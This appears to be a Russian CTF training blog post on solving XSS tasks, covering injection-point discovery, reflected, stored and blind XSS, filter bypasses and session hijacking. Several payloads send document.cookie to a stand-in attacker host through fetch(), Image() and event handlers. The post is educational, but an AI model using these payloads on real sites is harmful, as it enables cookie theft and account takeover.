Главная / Блог / XSS CTF: разбор задания от инъекции до кражи cookie

12 мин.00

XSS CTF: разбор задания от инъекции до кражи cookie

XSS CTF: разбор задания от инъекции до кражи cookie

Средний участник CTF тратит 40 минут на типовой XSS-таск. Не потому что payload сложный — document.cookie гуглится за секунду. Потому что 80% времени уходит на поиск точки инъекции в неожиданном месте: не в теле комментария, а в поле «имя автора»; не в GET-параметре, а в Referer-заголовке, который рендерится в логах админки. По данным YesWeHack, cross-site scripting — самый частый баг на их bug bounty программах, а CWE-79 (Improper Neutralization of Input During Web Page Generation) — High likelihood по классификации MITRE. В CTF-соревнованиях XSS-таски занимают заметную долю web-категории, и большинство сводятся к одной цепочке: найти инъекцию → собрать payload → перехватить cookie → подменить сессию → забрать флаг. Разберём этот путь с конкретными пейлоадами и логикой каждого решения.

Поиск точки инъекции XSS в веб-таске CTF

Самая частая ошибка — бросаться фаззить все формы подряд, не разобравшись, куда именно попадает пользовательский ввод. Точка инъекции — не «форма на странице», а конкретное место в HTML или JavaScript, куда сервер вставляет input без экранирования. Пока ты не видишь это место в ответе сервера, любой payload — стрельба вслепую. Подробнее — в нашем материале про создание ctf заданий.

Первые 60 секунд: DevTools и исходный код

Открываю таск в браузере. Первое действие — не ввод данных, а Ctrl+U (исходный код страницы) и вкладка Network в DevTools. Что ищу:

Параметры в URL, которые отражаются на странице. Классика CTF — ?search=, ?q=, ?name=, ?user=. Если в URL есть параметр и его значение видно в HTML-ответе как часть DOM, а не как экранированный текст — первый кандидат на reflected XSS.

Формы с POST-запросами, где данные сохраняются и отображаются другим пользователям: комментарии, посты, профиль. Это кандидат на stored XSS. Обращаю внимание на все поля формы — не только textarea для текста, но и name, email, website. Именно в «неинтересных» полях авторы тасков прячут дыру.

Комментарии в HTML-коде. Авторы тасков иногда оставляют подсказки прямо в исходнике: <!-- TODO: sanitize this -->, путь к скрытому API-эндпоинту или закомментированная ссылка на admin-панель. На одном из турниров описание задачи содержало фразу «comment is the key» — прямой указатель на уязвимость в комментариях, который большинство участников проигнорировали, пытаясь SQLi в форме логина. Классический случай, когда читать описание полезнее, чем запускать sqlmap.

Заголовки ответа в DevTools: Content-Security-Policy и X-XSS-Protection. Если CSP отсутствует или содержит unsafe-inline — inline-скрипты будут исполняться. Если CSP строгий (script-src 'self') — простой <script> не сработает, нужны другие техники.

Фаззинг параметров и скрытые точки ввода

Если очевидных параметров нет, запускаю ffuf -u http://target/FUZZ -w common.txt для поиска скрытых эндпоинтов: .git/HEAD, /robots.txt, /admin, /backup. Параллельно проверяю нестандартные точки ввода, которые новички обычно пропускают.

HTTP-заголовки: Referer, User-Agent, X-Forwarded-For. Если приложение логирует их и отображает в админ-панели без экранирования — получаем blind XSS. В Burp Repeater подменяю User-Agent на тестовый payload и отправляю запрос. Штука в том, что ты результат не увидишь — он всплывёт у админа. Но об этом ниже.

Параметры cookie. Некоторые приложения читают значение пользовательского cookie и вставляют его в страницу (например, «язык интерфейса» или «тема оформления»). Подменяю значение cookie на payload через Burp Repeater.

Фрагмент URL — часть после #. Для DOM-based XSS сервер вообще не видит эту часть, клиентский JavaScript берёт location.hash и вставляет в DOM напрямую. Проверяю, используется ли location.hash, location.search или document.referrer в клиентском JS.

В Burp Suite включаю Proxy, прохожу по всем страницам таска, затем в Target → Site Map смотрю полный список запросов и параметров. Каждый параметр, значение которого отражается в ответе — потенциальная точка XSS-инъекции. В MITRE ATT&CK начальная эксплуатация веб-уязвимости классифицируется как Exploit Public-Facing Application (T1190, Initial Access).

Reflected и Stored XSS в CTF: разница в эксплуатации

В CTF встречаются оба типа межсайтового скриптинга, но механика эксплуатации принципиально разная. Понимание этой разницы экономит время и определяет выбор вектора для кражи cookie.

Reflected XSS: payload через URL

Reflected XSS — сервер берёт параметр из запроса и без фильтрации вставляет в ответ. Payload не сохраняется, он живёт один запрос. Пример: http://target/search?q=TEST — если в HTML ответа слово TEST появляется внутри DOM без экранирования, можно подставить JS-код вместо TEST.

В CTF reflected XSS эксплуатируется так: формируешь URL с вредоносным payload, отправляешь его боту-администратору через механизм подачи (report page, feedback form, «пожаловаться на пост»). Бот переходит по ссылке — JS исполняется в контексте его сессии. Без бота reflected XSS бесполезен для кражи чужого cookie: ты украдёшь только собственную сессию. Это момент, на котором спотыкаются многие — вроде XSS подтвердил, alert() выскочил, а дальше что?

Что проверяю при reflected XSS: контекст рендеринга (payload попал внутрь <script>? в атрибут тега? в URL href?), наличие CSP и тип кодирования. Если сервер делает HTML-encode (< превращается в &lt;), прямой <script> не пройдёт. Но если ввод попадает внутрь атрибута, достаточно закрыть кавычку: " onmouseover="alert(1).

Stored XSS: payload в базе данных

Stored XSS — payload записывается в базу данных и рендерится каждому, кто открывает страницу. По данным YesWeHack, stored XSS «particularly dangerous because its persistence can impact many users over time», что делает его типичным high/critical багом на bug bounty площадках.

В CTF stored XSS — главный вектор для кражи cookie. Типичный сценарий: блог с комментариями, бот-администратор периодически просматривает все комментарии. Вставляешь payload в поле комментария, бот открывает страницу, JavaScript исполняется в его браузере и отправляет document.cookie на твой сервер. Этот сценарий реализован в классической лабе PortSwigger Academy «Exploiting XSS to steal cookies».

Что проверить: какие именно поля сохраняются и отображаются (тело комментария, имя автора, email, URL сайта), где в DOM рендерится каждое поле, и на каком этапе происходит фильтрация — при сохранении (strip tags) или при отображении (HTML encode). Разница принципиальная: если фильтр на вход — ищешь обход фильтра. Если фильтр на выход — ищешь контекст, где он не применяется.

Blind XSS: когда результат не видишь

Отдельная категория — blind XSS. Payload исполняется не на той странице, где ты его ввёл, а в интерфейсе, к которому у тебя нет доступа: админ-панель, тикет-система, внутренний дашборд. Пример: форма обратной связи, содержимое которой читает поддержка через внутренний интерфейс. Ты не можешь проверить, сработал ли alert() — его некому увидеть на твоей стороне.

Для blind XSS нужен внешний listener: Burp Collaborator (в Professional-версии), бесплатный webhook.site или собственный сервер через ngrok http 8080. Payload отправляет запрос наружу — если пришёл HTTP-callback, значит JS исполнился. Тут alert() бесполезен в принципе, сразу переходишь к callback-пейлоаду.

Теперь к главному — как собрать рабочий XSS cookie stealer payload и зачем вообще красть cookie в контексте CTF.

Веб-приложение идентифицирует пользователя по session cookie (обычно session, PHPSESSID, connect.sid). Если атакующий получает значение этого cookie, он подставляет его в свой браузер и входит в аккаунт жертвы без логина и пароля — session hijacking. В CTF «жертва» — бот-администратор, в аккаунте которого лежит флаг. В реальных условиях это account takeover: доступ к данным, API-ключам, возможность изменить email и сбросить пароль.

Ключевое условие: cookie не должен иметь флаг HttpOnly. Если HttpOnly установлен, document.cookie не вернёт его значение — JavaScript просто не имеет к нему доступа. В CTF этот флаг обычно отсутствует специально, чтобы задача была решаемой. В реальных приложениях HttpOnly — базовая мера защиты, рекомендованная OWASP. (Если видите cookie без HttpOnly в проде — это уже баг, можно репортить.)

Тестовый <script>alert(document.cookie)</script> покажет твои cookie в popup — полезно для отладки: видишь, какие cookie доступны JS и как они называются. Но для перехвата cookie бота нужен механизм отправки значения на внешний сервер.

Рабочий payload для кражи cookie, адаптированный из лаб PortSwigger Academy:

<script>
fetch('https://ATTACKER-SERVER', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>

Что тут происходит: fetch() отправляет POST-запрос на сервер атакующего, в теле — значение document.cookie. Параметр mode: 'no-cors' критически важен: без него браузер заблокирует cross-origin запрос. В режиме no-cors ответ сервера недоступен для скрипта, но сам запрос уходит — а нам нужен именно запрос, не ответ.

Вместо ATTACKER-SERVER подставляю один из трёх вариантов. Burp Collaborator: во вкладке Collaborator копирую уникальный домен вида xyz.oastify.com, вставляю в payload, после отправки жму «Poll now» — в body HTTP-запроса лежит cookie бота. Webhook.site — бесплатная альтернатива, результат виден в реальном времени. Свой сервер через python3 -m http.server 8080 с пробросом через ngrok http 8080 — cookie придёт в POST-запросе, который вижу в терминале.

Альтернативный способ через Image(): конструкция new Image().src='https://ATTACKER/?c='+document.cookie передаёт cookie как GET-параметр. Вариант старше, но работает в более жёстких условиях — когда fetch заблокирован CSP, а загрузка картинок разрешена. На практике я начинаю с fetch, и только если он не проходит — откатываюсь к Image().

Получил значение cookie бота (например, session=abc123def456). Подставляю его в свой браузер: DevTools → Application → Cookies — нахожу домен таска, создаю или редактирую cookie с именем session и украденным значением. Обновляю страницу — залогинен как администратор.

В Burp Repeater ещё быстрее: в любом запросе к таску заменяю свой Cookie-заголовок на Cookie: session=abc123def456 и отправляю на /admin, /flag, /my-account — в зависимости от структуры приложения. По данным PortSwigger, альтернативный способ — заставить бота самого опубликовать свой cookie через CSRF-подобный XSS-payload в комментарии, но это менее скрытно и оставляет публичные следы.

Обход фильтров межсайтового скриптинга в CTF-тасках

Если <script>alert(1)</script> не срабатывает — это не значит, что XSS нет. Это значит, что есть фильтр, который нужно обойти. В CTF-тасках средней и высокой сложности обход фильтрации — основная часть задания. И, честно говоря, самая интересная.

Альтернативные теги и обработчики событий

Фильтр режет <script>? HTML богат тегами с event handlers, которые исполняют JavaScript без слова «script»:

<img src=x onerror="fetch('https://ATT/?c='+document.cookie)">
<svg onload="fetch('https://ATT/?c='+document.cookie)">
<details open ontoggle="fetch('https://ATT/?c='+document.cookie)">
<input autofocus onfocus="fetch('https://ATT/?c='+document.cookie)">

Тег <img> с несуществующим src вызывает событие onerror и исполняет JS в обработчике. <svg onload> срабатывает при рендеринге SVG-элемента. <details open ontoggle> — при автоматическом раскрытии элемента. Ни один из этих пейлоадов не содержит <script>.

Логика выбора: если фильтр — простой regexp на строку script, подойдёт любой альтернативный тег. Если фильтр режет конкретные event handlers (onerror, onload), пробую менее популярные: onfocus, onblur, onmouseenter, ontoggle, onauxclick. В Burp Intruder загружаю список event handlers из шпаргалки PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet) и прогоняю — за минуту нахожу, какие не фильтруются.

Кодирование и обход кастомных фильтров

Если фильтр проверяет значение атрибута — режет document.cookie, fetch, alert:

HTML-entities в атрибутах: &#x64;ocument.cookie — браузер декодирует обратно в document.cookie при рендеринге. Unicode escape в JavaScript: \u0064ocument.cookie раскроется интерпретатором. Конкатенация строк: 'doc'+'ument'+'.coo'+'kie' через eval() или Function constructor. Base64: atob('ZG9jdW1lbnQuY29va2ll') вернёт строку document.cookie, которую можно передать в eval(). Case variations: <ScRiPt> обходит фильтры на lowercase <script>, потому что HTML-парсер не case-sensitive для имён тегов.

Двойное URL-кодирование (%253Cscript%253E) иногда проскакивает через WAF, который декодирует только один раз, а серверный код — дважды. В CTF WAF встречается редко — обычно это кастомный фильтр на PHP или Python, проверяющий конкретные паттерны. Если к таску приложены исходники — читай функцию фильтрации, там видно, что именно regex вырезает. Из моего опыта, 90% кастомных фильтров в CTF — это один-два str_replace() или re.sub(), и обход находится за пару минут, если читаешь код, а не гадаешь.

XSS атака пошагово: полная цепочка эксплуатации в CTF

Соберём всё в одну цепочку на примере типового таска: блог с комментариями, бот-администратор, флаг в его аккаунте.

Шаг 1 — разведка. Открываю таск, вижу блог. В DevTools смотрю, куда рендерятся комментарии: тело идёт в <p>, имя автора — в <strong>. Заголовки: CSP отсутствует, cookie без HttpOnly. В Burp перехватываю POST на /comment с параметрами name, email, body, postId.

Шаг 2 — подтверждение XSS. Отправляю комментарий с <b>test</b> в поле body. На странице поста слово «test» отображается жирным — HTML не экранируется. Пробую <img src=x onerror=alert(1)> — popup появился, XSS подтверждён.

Шаг 3 — подготовка listener. Открываю Burp Collaborator, копирую уникальный домен. Формирую payload: <script>fetch('https://MY-COLLAB-URL',{method:'POST',mode:'no-cors',body:document.cookie})</script>.

Шаг 4 — доставка payload. Отправляю комментарий с payload. В DevTools → Elements проверяю, что payload встроен в DOM. Жду 10-30 секунд, пока бот откроет страницу.

Шаг 5 — перехват cookie. В Burp Collaborator жму «Poll now». В body HTTP-запроса лежит cookie бота: session=a1b2c3d4e5f6....

Шаг 6 — session hijacking. В DevTools → Application → Cookies заменяю свой session на украденный. Обновляю страницу — залогинен как администратор. Проверяю /admin, /my-account, /flag.

Шаг 7 — флаг. Копирую строку flag{...} и сдаю. Вся цепочка — 5-15 минут без фильтров, 20-40 минут с обходом фильтрации.

Типичная ошибка новичков: тестовый alert() в stored XSS. Вставил <script>alert(1)</script> — теперь при каждом обновлении страницы всплывает окно и мешает работе. Для тестирования используй console.log('XSS') — результат виден в DevTools Console, но не ломает интерфейс. А для боевого payload сразу переходи к fetch() на внешний сервер.

Ещё момент: не игнорируй описание таска. Авторы CTF вкладывают подсказки в название задания, в описание, иногда в alt-текст изображений на странице. Название «Kitty» на KnightCTF, по данным из writeup'а на Selectel, было отсылкой к слову «infection» (столбняк от укусов животных) — и решение действительно лежало в инъекции.

С каждым годом сложность XSS-тасков в CTF растёт. Простые <script>alert()</script> без фильтров — уровень PicoCTF для новичков. На HackTheBox, Intigriti Monthly Challenges и серьёзных jeopardy-турнирах XSS обрастает CSP-политиками, мутационным XSS через DOMPurify, WebSocket-обработчиками и цепочками CSRF+XSS. Но ядро не меняется: найти куда попадает ввод, понять контекст рендеринга, собрать payload, доставить жертве. Кто отработал базовую цепочку на двадцати типовых тасках — решает сложные за разумное время. Кто прыгает в advanced, не закрыв базу — зависает на trivial.

Из опыта разбора сотен веб-уязвимостей в CTF: главная проблема не в запоминании пейлоадов. Пейлоады гуглятся за секунду, чит-шит PortSwigger покрывает 95% случаев. Проблема — в умении определить контекст рендеринга. Один и тот же пользовательский ввод в атрибуте тега, внутри <script>, в URL href и в теле <p> требует четыре разных подхода к эксплуатации. Это разница между решением за 5 минут и зависанием на час. И именно этот навык — не payload, а умение «читать» HTML и понимать, где твой ввод живёт — определяет скорость решения XSS-тасков и в CTF, и в реальном пентесте. Если хочешь не просто читать writeup'ы, а проходить всю атаку самому с прогрессией от простого к сложному — WAPT с лабой на каждый кейс и ментором при затыке закрывает эту задачу.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Linux для CTF: команды, права и поиск флагов

15 мин.

8

Linux для CTF: команды, права и поиск флагов

Пошаговый гайд по Linux для CTF: bash-команды, чтение прав chmod, поиск флагов через find и grep, первый privesc через sudo -l и SUID-бинарники. С чеклистом.

2 ОКТЯБРЬ, 2026

John the Ripper и Hashcat для начинающих: гайд

15 мин.

9

John the Ripper и Hashcat для начинающих: гайд

Пошаговый workflow крекинга хэшей: от hashid до флага за 5 минут. Таблица режимов Hashcat, утилиты *2john, 6 ошибок новичков и разбор реального CTF-таска.

1 ОКТЯБРЬ, 2026

OSINT для начинающих: username, email и домены

14 мин.

9

OSINT для начинающих: username, email и домены

Пошаговый OSINT-гайд: Sherlock, theHarvester, WHOIS, Google Dorks. Практический CTF-воркфлоу от никнейма до флага за 40 минут с конкретными командами.

1 ОКТЯБРЬ, 2026